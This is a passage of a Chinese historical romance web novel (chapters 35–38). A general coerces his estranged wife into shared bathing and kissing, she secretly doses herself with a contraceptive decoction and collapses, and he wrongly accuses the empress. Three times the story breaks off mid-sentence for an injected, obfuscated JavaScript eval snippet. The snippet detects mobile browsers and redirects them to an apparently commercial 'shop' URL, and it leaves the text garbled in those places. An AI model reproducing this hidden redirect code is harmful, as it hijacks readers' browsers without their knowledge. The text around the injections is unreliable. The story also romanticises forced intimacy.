晏回南不解:“不然呢?他是大周的睿王,不过跑个马,那帮老太监还能伺候不好吗?” “那怎么行?”谢韵还要继续说,“我要留在这……” 话音未落,她已经被晏回南打横抱起,整个人一阵天旋地转。倏而又听到晏回南低落又难掩委屈的声音,“你连一个认识不过半日的小屁孩都如此关心,谢韵,我们相识八年,算得上青梅竹马,你可待我好过一点?” 静谧的夜色浓郁,寂静的晚风在两人之间流转,犹如八年漫长的时光,深刻地在两人的心上镌刻出难以磨灭的痕迹。 他的声音明明那么静而稳,却又重重地震荡着谢韵的心。 谢韵冷着脸,“那可否请将军看在相识八年的情分上,放过我?我们可以约定个期限,在这期限内你想要我如何偿还你曾经的恩情,我都答应你。” 她不想去计较重逢之后两人对彼此造成的伤害究竟是孰轻孰重,只想为这件事来个了断。 晏回南却十分坚决地说:“你做梦。” “那还请将军往后不要这样一副委屈巴巴的样子,好像是我欺负辜负了你一样。” 明明一直是他在寻衅报复! 晏回南闻言简直要气笑了,恶劣地将谢韵在怀中重重地颠了一下,抱得更牢了。好,行,她还真是一如既往的牙尖嘴利、油盐不进、软硬不吃。 这一颠,谢韵不得不抱晏回南的脖子抱得更紧了。 “你放开我。” 晏回南不言语,抱着她大步往卧房走。偏偏沿途的士兵见到两人还要行礼,“将军、夫人。” 这弄得谢韵更加羞恼。 回到院子之后,久待着的侍从已经备好了热水,就等着从宴席上回来的两人用水。 晏回南一路抱着谢韵去了浴桶内,并屏退了众人。 两人一同浸入温润的水中,蒸腾的热气熏入鼻间,整个人都顿时开明了。谢韵浑身的衣物都湿透透地贴在身上,难受极了。 “晏回南,你……你出去!”她不想看到他,更别说跟他一同沐浴了。 可晏回南却置若罔闻,径直褪了被打湿的衣袍,露出他健壮结实的身体,慢条斯理道:“听你的,我不装委屈。我现下只想同我的夫人共同沐浴。” “你没欺负我,没辜负我,一切坏事都是我做的。我本就不是什么好人,夫人早该知道的。我现在只是继续当我的坏人罢了。” 说完,他强硬地一把将谢韵拉近自己,两人的身体紧紧地贴在一起,紧密到能够明显地感受到对方身体的轮廓。 他垂头封住了谢韵还要继续说什么的嘴,不给她一丝反抗的机会。 “呜……”谢韵的手也被晏回南轻而易举地锁住。 35. 君心乱(2) 暧昧的水声随着他们的动作而“哗哗”地响。 两人的身体紧贴在一起,亲吻时,彼此相对的心跳也重重地砸在对方的心口上,好似双方无声却震耳欲聋的控诉。 蒸腾的水汽混着两人身上暧昧的香气在两人周身晕开,令人燥热难耐,连带着两人的吻都是潮湿温热的。温润柔软的唇瓣刚一纠缠在一起,就将人狠狠地扯入了爱的漩涡里,体温随之攀升,眼皮也逐渐变得沉重,只有陷入黑暗,才有勇气好好地共沉沦。 谢韵的唇齿被蛮横地撬开,她被迫接受着晏回南的吻。视线消失之后,其余的感官便被无限放大。他的每一下吮吸与舔舐都被无限放大,每一点动作都那么深刻,比平时更能勾起谢韵极力克制的欲念。 晏回南带着谢韵的手环抱住他,细腻柔荑触碰过流连过的每一寸肌肤都被带起一团炽热的火。 不知何时,谢韵周身一凉,她整个人也被晏回南抱起,抵在了浴桶上。 雾气如帘幕重重,迷蒙渐深,激荡起的水花落了满地,如同开在砖块上朵朵深色的花。 水温渐冷,晏回南将被热气熏得晕过去的谢韵从水里捞起来,柔弱无骨的身体紧紧靠在他的怀中,他偏头轻柔地含住了她柔软的耳垂,上面有个小小的洞眼,是用来戴耳饰的。他的舌尖抵在洞眼上玩弄。 谢韵浑身又冷又湿,难受地哼了一声。 晏回南这才放过她,替她擦净身上水渍,换上寝衣,抱回卧房。 回卧房的路上,侍奉在宋鸿煊身边的太监竟然领着几名妙龄女子星夜前来。 “晏将军,此番护卫尽心尽力,陛下念在将军劳苦功高,尽职尽责,特将今夜奉高县尉寻来的舞女献上,以慰大将军多日舟车劳顿之苦。” 两人对话的间隙,谢韵窝在晏回南怀中因夜风侵扰,不安地瑟缩了一下。被水沾湿的发丝扫在晏回南的胸前,勾起一阵酥麻之感。但此刻的晏回南却因为眼前的事情心烦,并未感觉到。 他将谢韵抱得更紧,冷静道:“多谢陛下关心。” 太监脸上笑笑,心道,果然男人都是一样的腌臜,怀里抱着一个,面对送上门的美女依旧招收不误。哼!还以为晏回南真如传闻中那般不食人间烟火,不近女色。现在看来也不过尔尔,还不是食色性也的凡夫俗子。 他挥挥手,“你们侍奉大将军的时候都仔细些,懂事些。随将军去吧……” 晏回南眼皮跳了跳,心烦更甚。他知道宋鸿煊是什么心思,他不过是给他留些脸面才先谢恩的。谁知他话都没说完,这狗太监就迫不及待地要往他身边塞人。 他的声音冷硬,不容抗拒:“谁说我要留着她们了?” 太监的动作顿住,“啊?” 他甘愿俯首称臣,这群人真当他是好拿捏的软柿子了。如今什么下三滥的招都能想出来。但是他们都忘记了,晏回南始终是晏回南,从不会变。他一如既往是那个不好惹的将军,“带着你的人滚出去!” “是!是!”这太监完全失策了,他之前只在宫中远远地见过传闻中威风凛凛的大将军,如今亲眼见识到满身戾气的晏回南时,被吓得差点晕过去。 说完,几乎连滚带爬地带着这群人离去了。 - 为了减少避子汤对身体的伤害,谢韵试着将配方调整了一下,将其效用由短期转变为长期。 配药时,她的脑袋一直晕晕沉沉,或者说不是她脑袋不清醒,而是对未来一片迷茫,让她一时之间不知道自己究竟在做什么。 她茫然地看着手中的药材,她的这一双手,这些散发着浓郁草药香的东西,原本该是她在当世安身立命之本,如今却成了她困境中唯一能为自己做的。 她如何能不怨不恨呢? 记录药方时,谢韵觉得手腕处隐隐发疼,她写完最后一笔,将药方拿去给寒真煎了,才能松泛松泛。她用凿子在装冰的铜盆里现凿了一块冰,放在手腕上慢慢地敷。 这是昨夜晏回南弄的。 真是个野蛮人。 药方改过之后,药效有些难以拿捏,但谢韵顾不得许多,只能以身试法了。 苦涩的浓药,谢韵眼睛眨都不眨便一饮而尽。比饮酒还要平添一丝豪迈气。 倒是寒真在一旁看得心惊胆战的。她跟谢韵学过些药理,知道谢韵改动了药方,忧心忡忡道:“夫人,如此……真的没事吗?” 谢韵笑着摇摇头,“神农尝百草,才知何为药何为毒,无碍。” 在寒真灼灼的目光中,谢韵吐了吐舌头,调笑道:“不过,副作用应当是有的。” “夫人!”寒真一下子大声起来。 谢韵心大得很,反过来连连安抚寒真,“这不是有你在我身边么,这副作用总要不了我的命的,若是有什么事,便劳你多照顾我些时日啦!” 午后,谢韵因着喝过那碗避子汤,身子有些乏累,本想睡了。可皇后娘娘却着人来请她,不知为着何事。 谢韵不愿惹麻烦,只好强撑着疲惫的身体去了。 到了皇后的宫中谢韵发现睿王也在,一众宫女围在皇长子和皇后的身边。皇后手里正拿着一个带铃铛的玩具逗皇长子。 睿王则因为贸然偷跑过来,被宋鸿煊罚在皇后宫中补习落下的课业。 他一见到谢韵过来,便放下毛笔奔过来,但临到谢韵的面前时又恢复了小大人的模样,板正又严肃,有趣得很。 谢韵行礼:“臣妇参见皇后娘娘。” 皇后让她起身,并笑道:“早在本宫待字闺中时便听闻了晏夫人的大名,从前一直无缘得见。上次在宫宴上,我们是第一次见,却也没有说话的机会。早想见见你,同你好好聊聊天儿了。直到今日才有机会。” 谢韵:“臣妇不敢当。” 皇后在谢韵面前倒是没有什么架子,“不必太过拘谨。只当我们是相见恨晚的姐妹便可。原本晏将军与皇帝便是堂兄弟,你我本就是妯娌,只不过君臣有别,不这么说罢了。” 谢韵赔笑,她不知道皇后叫她来究竟是想说些什么,但总不会真的只是拉她来聊天话家常的吧? “听闻你前些日子病了,如今身子可养好些了?” “好多了。多谢皇后娘娘关心。” “那便好。”皇后笑起来端庄大方,整个人由内而外焕发出的光彩都是明亮高远的,应当是待字闺中时便受到了极为严谨的教导,自幼便培养她走上这令人仰望的道路。 “上次你在射箭场的英姿,早已经传遍了行宫内,昨日睿王殿下过来也写给我你射箭技艺如何如何好。若有机会,让我也见识见识可好?”皇后说这话时,谢韵竟然感觉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913309|132694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一丝羡慕的意味。 谢韵无有不应的。 她原本以为自己想多了,可皇后继续说,“你知道吗?其实当时京中很多少女都很羡慕你、或者崇拜你。当然也不乏因羡慕而嫉妒你的。我也是。羡慕你可以肆意张扬地在射箭场上大放光彩。” 谢韵倒不知晓这些,从前与她交好的贵女少之又少。所以没有好友的她,也只能和晏回南他们相交。 但其实谢韵打心底里认为皇后也是世间难得的女子。 皇后又说睿王一直期盼着谢韵能来,而且她答应了睿王,只要谢韵来了,便准他玩一会儿。 也许期盼她来更多的原因是因为后者? 谢韵看着睿王忍俊不禁。 这睿王殿下也真是又乖又好哄,她以为自己和晏回南把他丢在校场,他会不高兴呢。结果回来居然还是说她的好话。 皇后对谢韵招招手,“要来看看抓了晏将军骨戒的小家伙吗?” 婴儿床里是一个粉嘟嘟又胖乎乎的小娃娃,因为母后拿了好玩的玩具逗他,而笑得格外开怀。在见到谢韵这个陌生的面孔时,他的小脸儿愣怔了片刻,似乎是在思考这个人是谁。 “你逗逗他。”皇后此刻正是一个慈爱的母亲,怀揣着想向全世界炫耀自己的孩子的心情说。 “晏夫人喜欢孩子吗?可曾想过与晏将军有个自己的孩儿?” 谢韵真心觉得这个孩子格外可爱。对于孩子,她并不十分喜欢,却也不厌恶。若孩子乖巧听话,她也很喜欢的。但是她的确没有想过要与晏回南有个孩子。 只是不知现在皇后问这个问题,究竟是什么意思。 是晏回南的说客?还是什么旁的身份立场? 她顺着皇后的话,伸出手去摸了摸皇长子的小脸蛋儿,婴儿的肌肤如羊脂玉一般顺滑柔软,嫩得像刚出锅的白豆腐。 结果谢韵的手刚碰到,皇长子小嘴儿一撇居然哇哇地哭了出来。 把谢韵吓得心惊肉跳,还好乳母及时赶来,抱起孩子。原来小家伙只是玩累了,饿了。 小闹剧过后,皇长子被抱去喂奶了。皇后的重心也转移到了昨夜的事上:“皇上昨晚遣人给晏将军送了几个妙龄女子,却被轰了出来,你可知此事?” “什么?”谢韵全然不知,但她昨夜一直到晕过去之前都是和晏回南在一处。那此事只能是发生在她晕过去之后。 她老实地摇摇头,“不知。” “是吗?”皇后此时的笑让人看不分明她的态度,她只命人端了一碗饮品给谢韵,“晏夫人尝尝这个冰饮。” 看上去只是正常的夏日解暑冰饮,但谢韵心里莫名地感到不安。 “皇后娘娘,臣妇今日……身子不爽利,饮不得冰的。”谢韵为难道。 她今日的确喝不了冰的。 皇后并未强求,但也没说她可以不喝。只是继续道,“晏夫人应当知道,晏将军是大周的战神,他的一切,皇上都是极为重视的,包括子嗣,甚至是这个孩子的生母是何身份。你应该明白我的意思。” 皇后的意思已经十分明显了。 这意味着将来承袭晏回南爵位之人的生母,不会也不该是大周的罪人。 皇后娘娘听闻谢韵饮不了冰的,又让人换了杯热的。看样子是非喝不可了。 36. 君心乱(3) “踏踏踏” 一阵急促的脚步声响起,晏回南从接到谢韵身子出血,晕过去的消息的那一刻起,他便心乱如麻,而当真正见到谢韵瘦弱的身躯倒在血泊中时,这幅场景深深地刺激着晏回南的内心。 脑海中有另一幅同样血腥的画面一闪而过,失去在意之人的记忆如洪水猛兽一般涌入他的大脑,冲击着他的灵魂与躯体。他不要再经历一次那样痛彻心扉的滋味! 那一霎,愤怒与恐惧充斥着他的大脑,周身的戾气也达到了顶峰。整条路上,没有一个人敢冲上来阻拦他的。就连直视他都不敢。 晏回南的确恨谢韵,他试过在心里杀死谢氏全族,在梦中亦然。 可是每每当他最后把刀对准谢韵时,他根本控制不了梦中的自己。那种感觉像是鬼压床,他清楚地知道自己应该狠心动手,可是他的手仿佛不是自己的手,他痛苦、挣扎、嘶吼、颤抖、哭泣。 可仇恨的利刃从他手中掉落,他看见谢韵,却那么心安。 每一场痛苦不堪的梦境的终点都是此刻,醒来之后,四下空寂,汗与泪已经将他整个人打湿。 人是从皇后宫中出来之后出的事,皇后。 皇后的背后是宋鸿煊,是皇权。 他知道,宋鸿煊是冲着他来的。贪嗔痴,是世人永生永世都无法摆脱的东西。 不过晏回南是从尸山血海上蹚过来的人,纵使再愤怒也不会真的失去理智,没点脑子随时让自己保持清醒思考,他早不知道在战场上死过多少回了。 宋鸿煊此人,胆小懦弱,武艺骑射一窍不通,当初若不是晏回南,他不会有命坐上这皇位的宝座。 但实际上如今的他精于谋略,工于心计,治国有方,是个不可多得的治世好皇帝。 而晏回南自己,志在江湖之远,非庙堂之高。他要这天下毫无用处,他也不愿意投身于波诡云谲的朝堂。 伴君如伴虎的日子或是受人掣肘的日子,皇位一旦坐上,拥有了至高无上权力的同时,也将终生都被禁锢住。这都不是晏回南要的。 但如果谢韵今日有了什么三长两短,他不介意就此翻天。 司文推开皇后寝殿门的那一刻,晏回南看见了坐在婴儿床旁,一下一下给小娃娃拍背哄睡的皇后。 一副温馨慈爱的场景。多讽刺啊! 他冷笑出声,大步流星地走过去,眼睛都不眨一下便拔刀对准了皇后的脖子,冷声问道:“你给谢韵喝了什么?” 顿时,整个寝殿内陷入了死一般的寂静,众人大气都不敢喘一下。 皇后也着实被晏回南吓到了,背脊出了一层细密的汗,声音颤抖:“将军,想必其中有什么误会,你把刀放下,有什么事我们好好说?” 婴儿车里的皇长子被这巨大嘈杂的声响惊动得哇哇大哭,哭声极为响亮。晏回南因此眉头皱了一下。 皇后连忙伸手护住孩子,果然是为母则刚。此时此刻相比于自己的性命,她更担心的是晏回南会对孩子不利。 皇后的寝殿被士兵围得水泄不通,殿内的人没一个能跑出去呼救。 皇后并未觉得她午后给谢韵喝的东西有问题:“只是寻常的补品,是用来调理血气的。晏夫人自己也是医者,将军回去一问便知!” 晏回南:“撒谎!她从你的宫中出来之后,便因出血过多晕厥过去了。太医说是服用了大剂量的避子汤所致。” 此话一出,皇后更是震惊。她对此毫不知情,连忙为自己辩解:“将军,我自己也是有孩子的人,我怎么会做出如此心狠手辣的事情?我给谢韵的补品,我自己也喝了!我的殿内还留有她服用的碗,让太医过来一验便知真相啊!” 晏回南并不相信:“你和宋鸿煊一个送美人,一个给谢韵喂避子汤,这难道不是你们联手要彻底将我控制在手中所使的下三滥伎俩吗?” 皇后现在彻底明白了。 宋鸿煊送美人的确有想要乱晏回南心的想法,他不希望晏回南沉溺于对谢韵的爱护中,而忘记了他们的仇与恨,忘记了他们身上肩负着光复大周的重任。 宋鸿煊也的确让她把谢韵叫到宫中来。但目的是为了劝说谢韵替晏回南收下那些美人,替他纳妾。 京中人尽皆知,谢韵就是晏回南身上一点都碰不得的胡须、逆鳞和反骨。 宋鸿煊会选择一切能够徐徐图之的方式,但绝不会选择如此明显的伤害谢韵,触及到晏回南最核心敏感地带的方式。 这无疑于自投罗网。 此刻的晏回南手握大周三分之二的雄兵,再加上他天赋异禀的军事才能,整个大周几乎无人能抵挡晏回南所率军队的铁蹄。 虎符,不过是抵挡在门上的一块可有可无的朽木。 真正统领军队、掌控军队的权力牢牢地握在晏回南的手中。 此刻的宋鸿煊不会如此蠢。 “将军,你仔细想想,我与陛下有一万条路可以走,我们为什么要选择如此明显又愚蠢的方式?你当真从头至尾都没有想过,这避子汤有可能是谢韵她自己喝的吗?”皇后想明白一切之后,简直冷静地可怕,在说这话时,她坚毅的目光投向晏回南,在与他难以置信的目光相交时,不禁流露出一丝同情。 对晏回南的同情。 “什么?” 皇后解释:“女人最了解女人,特别是像谢韵这样坚韧顽强的女人。她岂会甘愿做一只囚鸟?如果她真如将军现在看到的这样,是用强硬手段便能拿下的女人,将军也不会将心思全放在她身上了。” 这话好似是从地狱里传出来的话,阴冷可怖,一瞬间就冷了晏回南的心脏。 皇后连忙让侍从将刚刚她们饮用补品的器具拿出来,又让人快去请太医来检验。 太医连滚带爬地跑过来,当着晏回南的面,用自己全族性命做担保,这真的只是普通的用来补气血的补品。 “将军……”皇后抱紧哭泣的孩子,她自嫁给宋鸿煊后,与晏回南相识五年。一直到今年晏回南不顾众人反对也要娶谢韵,她才知道为何从前她见到晏回南时,他总是一副冷漠淡然、任谁都无法靠近更无法打动他的样子,他的心流落在了旁处。 但谢韵回来之后,晏回南肉眼可见的多了一些人气儿。 晏回南两个太阳穴突突地跳,并伴随着一种想要呕吐的感觉:“闭嘴。” 是啊…… 他怎么就没想过,这汤药是谢韵自己喝的呢? 怪不得……怪不得太医说她服用了大量有损身体的药物。 怪不得,他提到孩子的事情时,谢韵的反应不是肯定、不是否定、也没有震惊与抗拒。 而是沉默。 无尽的沉默。 她从始至终都知道,她能够将一切都掌握在自己的手中。 她不会让自己怀上他的孩子。 哪怕晏回南从始至终都知道,自己和谢韵此刻不过是强扭的瓜,无论双方做什么都是在伤害彼此。 他恨谢韵,谢韵未尝不是也恨极了他? 可他和谢韵一样天真。 他们都幻想着彼此之间仍有一丝超越旁人的羁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941862|132694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绊,尽管将对方伤害的伤痕累累,却仍有一点余地,一点相爱的余地。 事实就是,挣扎扭曲割裂的是他,极尽伤害的是他,愚蠢又自以为是的也是他。 谢韵……谢韵她只是,从头到尾,从始至终都没有把他当回事儿。 没有爱,自然也就没有极致的恨。 她连恨他,都是一声不吭的。 她哪怕不惜伤害自己的身体,她连命都不想要了,也要对他避如蛇蝎,不愿与他产生一丝一毫的联系。 只有他自己,可笑地挣扎痛苦。 现在他才发现,刚刚愤怒到失去理智的他究竟有多可笑多可怜。 他刚刚是把自己的心掏出去了吗? 他刚刚是真的以为,谢韵是他娘的被迫的! 哈哈哈哈……可笑至极! 他没有一刻怀疑过谢韵会真的为了避免和他产生联系,连自己的命都不好好爱惜。绝,谢韵真是绝,绝顶聪明,绝顶心狠。连自己都能下手! 适时,殿外忽然一阵暴雨倾盆落下,夏末的雨,卷起一地的尘埃,空气中满是尘土的恶心味道。暑气也随之横扫过来。晏回南就这么不管不顾地走了出去。所有人都在恶心他。老天爷也要过来凑热闹。 担心自家主子的司文从皇后的寝殿里拿了把伞,匆忙追出去。 晏回南却并没有管是否淋雨。 只是很淡很轻地对司文说:“司文……” 司文连忙答应着。 可等了半天,晏回南欲言又止,没有等到他的下一句。他只是沉默着往前走下去。 晏回南成亲那日,他从父母的坟茔归来后,也是淋了一身的雨,腰杆却挺得很直。 只是与此刻不同的是,当晚的晏回南,心底有对父母的愧疚,对仇恨的愤怒与痛恨,但也有得偿所愿的归属感,也有那么一点欣喜。 那是他……多少次从生死边缘徘徊时,都会想到的人啊! 此刻的晏回南,仿佛再一次,被抛弃,被一切希望抛弃。 他曾经也是一个拥有全世界的少年。但也许冥冥之中一切都注定好了,他从前拥有的太多,那么失去的也相应地要比别人更多。 - 回到他们的院子里时,谢韵正虚弱地躺在床上,因为意外出血,脸上毫无血色,也因为腹痛难忍,哪怕是在睡梦中也痛苦地皱着眉头。 寒真陪着谢韵刚从皇后寝殿出来,午后的太阳毒辣,谢韵走了一段路,正经过花园的路段,她忽然身下出血,整个人也忽然晕倒在地。 着实把寒真吓坏了,连忙呼喊周围的人,去通知了晏回南。 一直到现在,寒真都心有余悸。 现在见到晏回南浑身淋得湿透回来,她心一下子沉到了谷底。 晏回南在回来的路上,司文已经命人将之前收集到的被寒真偷偷倒掉的药渣,拿去给太医查看。 如今结果也出来了。 那就是药效强劲的避子汤! 如今结果水落石出,只是在晏回南的心上又捅了一刀而已。 他搬了张椅子在谢韵的床畔坐了许久,不让任何人靠近他们。一直坐到天黑,谢韵有了转醒的迹象。 他才叫人进来照顾着。 并命司文给自己收拾出一件偏房,他之后便在那睡。 寒真壮着胆子叫住晏回南:“将军……事情不是你想的那样的。此事待夫人醒过来,你同夫人把话说开……” 晏回南的视线如同一把利刃,冷冷地瞥过来,低声呵道:“再多嘴就滚!” 37. 君心乱(4) 寒真整个人如同被火煎烤,焦灼不安。夫人说过她只是没想好要为人母。 可将军眼下什么都听不进去,夫人也虚弱不堪,这可怎么办呀! 这边的谢韵醒来后,模糊的视线里只有急得哭出来的寒真,还有一张上面沾满了水的凳子。 她努力回想了一下,才想起来自己是晕倒了,晕过去之前她就感受到自己身下一阵暖流,低头便看到了一大摊血迹。 谢韵知道自己没控制好药方配比和药量,失手了。 她强撑起一抹笑,摸摸寒真的手,“我没事儿,别哭啊。这能养好的。” 但下一瞬间,寒真的眼泪瞬间决堤:“夫人,将军他……他什么都知道了。他快气疯了。” 谢韵脑子里一阵轰鸣,一片混沌。 他什么都知道了。不知为何,谢韵的心中并无半分快感,反倒是盯着凳子上那滩反光晶莹的水出神,人仿佛被这水吞进去了,片刻失神间,不安如水在心底蔓延开来。 她犹豫地问:“那将军……他有说什么吗?” 寒真摇摇头,“将军让司文收拾了一间空房出来,他之后要搬去那住了。夫人,这可如何是好啊?在旁人看来只会认为夫人你是和将军生了嫌隙。夫人原本在将军府就没什么威望,这还没过几天好日子,若是让人以为你和将军有了嫌隙,不知会如何嚣张,如何想着法子欺负你呢!” 在将军府没什么威望、受欺负、生嫌隙……寒真你这张嘴,还真是很中肯呐,且一针见血的! 谢韵脑子转了片刻,身体上的不适让她实在是转不动脑子,只好尴尬地笑笑:“那就这样吧。” 寒真当真是替自家夫人着急,旁人家的夫人都是拆东墙补西墙地要体面,争宠爱,防这防那,整天铆足了劲儿地博夫君的喜爱。他们将军府是没有妾室,夫人倒是不用防那么多,也不需要争什么,可她瞧着自家夫人一点……劲头都没有:“什么就这样啊?” “就……养病啊。”谢韵强撑起一抹无所谓的笑来,她如今能如何做呢?事情都已经犯下了,晏回南如果真的生气,或是有其他什么情绪,她又如何能左右? 但她心口一阵儿一阵儿的……酸涩,这算怎么回事? 她明明喝药的时候那么干脆,反倒是这个时候了,她变得那么矫情了? 不是的,这一定是因为她身体太难受了,养一养就好了。养一养就不会这么难受了。 她这么想,干脆复又躺在床上,拉被子给自己盖上,强装镇定地吩咐寒真,声音蒙在被子里闷闷的:“到时辰便唤我起来吃药,没什么要紧的事情不要烦我。” 寒真忧心不已,“夫人,你心里可有将军吗?” 寒真不问这个问题还好,原本谢韵奇怪、憋屈又酸涩的内心此刻算是被戳破了,里面的酸水一股脑地全都冒了出来。 她没心思再哄着谁,但面对真心待自己的寒真,她还是忍住了脾气,背对着她,语气生硬:“你觉得我在这过的是什么好日子吗?你觉得我心里应该有他吗?” 寒真立刻解释:“不是的夫人!我一定是站在夫人这边的,我钦佩夫人为女子翘楚。可我也衷心希望夫人可以幸福!只是这些日子夫人生病,我瞧将军的紧张与关心不像假装。今日夫人晕倒后,我整个人都慌了神,找人去寻将军,将军来的时候看见夫人倒在血泊中,他比我还受惊吓和打击,这与将军往日的样子全然不同。” 寒真自顾自地说着,谢韵静静地闭上眼睛听。 “后来太医说您是服用了避子汤,当时我吓得不行,以为将军要将我就地正法了。可将军却问我是不是你在皇后宫中喝了什么,我只点点头还没来得及说完。将军果断地就往皇后宫中去了。结果就是淋得湿透回来,整个人失魂落魄的……可即便这样,将军也一直坐在这,等到夫人快醒了才离去。也许,将军心里是有夫人你的。我我我,我不是替将军说话,也不是心疼将军,我是心疼夫人,我怕夫人……” 谢韵出声打断,声音疲惫:“好了寒真,我累了。别说了。” “啊好,那夫人你好好休息。我去外面盯着药。” 在意与否、爱与不爱的,难道他们之间会有结果吗?国仇家恨,就足够逼死天下有情人了。 与其相互去试探爱,印证爱,哪怕最后真的互相表明心意:对,我心悦你,心里有你,把你看得顶重要了。 可只要一想到我的父亲害死了他的亲人,他杀了我的父亲。看晏回南这个样子,只要他抓到谢青云,他是不会放过他的。 就觉得真可笑,真扯淡。 不膈应吗?不恨吗?这简直像吃了块臭石头,先是哽在喉头,拼命咽进去之后,顺着一路下去,割伤一路的五脏六腑,最后折磨的还是自己。哦,还有那个说心疼自己的人。总归是互相折磨。 这样还能心平气和的相爱吗? 爱哪有那么伟大,可以透支道德感、透支生命? 如果哪一天,她愿意为谁去死,或者谁愿意为她去死了,再来谈爱不爱的吧。这才是有点实际的爱。 心里有又怎么样,没有又怎么样,人总归是冷漠的利己主义。很难改变的。 谢韵想或许她应该听皇后的话,替晏回南收一个妾室。这样也许他的注意力会转移去别的女人身上,对她的防备也会少一些。 也许他会爱那个人爱得死去活来,最终想把她扶正,废了自己这个正妻之位。到那时,他会放她自由吗? - 养病的日子并不好受,谢韵一直是个乐观开朗之人,幼时爱与人玩闹,后来长大了也总爱给自己找些新奇的东西学,找些事儿做。 但近来一直在养病,无论是医术还是工匠手艺都生疏了许多,人也总闷着。 次日,她已经养得能下地了。其实这次失血就是让她失血的那个当下虚弱,之后出去走走对恢复身体也有好处。 上午睿王听闻谢韵病了,小孩子还特意跑来一趟探视。他同小煤球混熟了,来探病时谢韵还在睡,醒来就见到一个睿王严肃专注地跟个小大人一样,怀里抱着小煤球,桌上摊开一册书,一人一狗正专心致志地看。 煤球哼唧一声,睿王立刻捏住他的狗嘴,神色严肃,不让它叫唤打扰了谢韵。 谢韵惊讶睿王居然没缠着晏回南练武, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960550|132694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是到她这儿乖乖待着。 她笑问,声音略有些虚弱:“睿王殿下,这是在看什么呢?” 睿王听见声音,严肃的小脸都快皱成一团了,很不放心地过来探了探谢韵的头,似乎是在检查她是否发热了。 谢韵觉得他可爱极了,“殿下,我不是发热,你这样是检查不出什么的。” 睿王听懂了,点点头。他将书拿给谢韵看。 哦!原来是志怪录啊……书名叫《西京怪谈》 果然,他是不会老老实实温书的! 但睿王见谢韵醒了,也没什么大碍了,一本正经地把书放在谢韵的枕边后,便转身离去了。 谢韵不懂他的意思,“殿下,你的书!” 寒真正好端了茶水进来,准备给睿王换壶新茶,就见到人走了。寒真对谢韵说,“周公公说殿下今日来,一是为探视,二是为将这本书带来给夫人解闷儿。这似乎是殿下很喜欢的书。” 谢韵笑着拿起来翻看,“真是可爱。” 只不过睿王殿下一直不说话,与人交流是个问题。若是将来有机会,她可以试着教教他手语。 过午之后,谢韵散步回来,正在喝药。颜以菱却带了一个意想不到的人过来探望谢韵。 颜以菱带着那人熟络地走进来,“将军夫人,听闻你又病了,你这哪像是那日在射箭场上英姿飒爽的人啊?分明是个病秧子嘛!我来瞧瞧你好些了没?” 谢韵将苦涩的药一饮而尽,夏天喝热药,热得她冒了一身的汗。 抬眸却见到颜以菱身后之人,格外眼熟,她边思索此人是谁,边心不在焉地回答道:“哪有你说的这样虚……我好多了。” 这人是谁来着? “谢韵,别来无恙。”那人却主动打起了招呼。 颜以菱赶忙对谢韵介绍,“将军夫人,这是我姨母家的表姐,柳诗筠。近日来我家小住一阵子。她说你们认识呢!听说你病了,我正好要来看你,她便一道来了。” 说完颜以菱又自言自语道:“对啊,我真是笨!你们同住京城,自然是认识的!” 一说名字,谢韵便将人脸和人名对上了。 当初父亲过寿,她救下河清长公主的猫儿时,柳诗筠就是那个被猫儿挠伤了脸的人。也是那个谢韶华找借口将她丢在朱雀街的人。 她从前与柳诗筠的交集并不多,对此人的印象并不深,但为数不多的交集,全是不好的回忆。 谢韵只记得,柳诗筠似乎和京城其他女子一样,心悦晏回南。那时候谢韵不过八九岁,哪里懂这些已经情窦初开的女孩的心思?更不会去关注。 只是柳诗筠仗着家父官阶高,总是要想尽办法压其他贵女一头。就连在喜欢晏回南这件事上也不甘示弱,为了吸引晏回南,算是无所不用其极。 只是没想到,她居然和颜以菱是表姐妹。 谢韵礼貌地回应,“柳小姐,的确是许久未见。” 柳诗筠仍旧傲慢,淡淡地嘲讽:“看来你过得不怎么好,真是替你难过。” 而更让谢韵没想到的事情是,次日的泰山祭祀大典,皇后叫了柳诗筠随行。 38. 君心乱(5) 谢韵冷漠地回答:“我什么时候……” 她什么时候不要命了? 晏回南:“你就这么不想和我产生联系是吗?哪怕是用这种方式?” 谢韵说出来的话却格外刺耳,她直视着晏回南的眼睛,眼底丝毫没有畏惧与不忍,只有决绝:“是,我不想和你有联系,哪怕一丝一毫。” 说完,她略停顿,又继续说到,满是残忍:“但将军有一点误会我了。我很惜命,我不会为了你就让自己丧命。因为没有必要。” 话音刚落,晏回南心里仿佛有什么东西断开了。 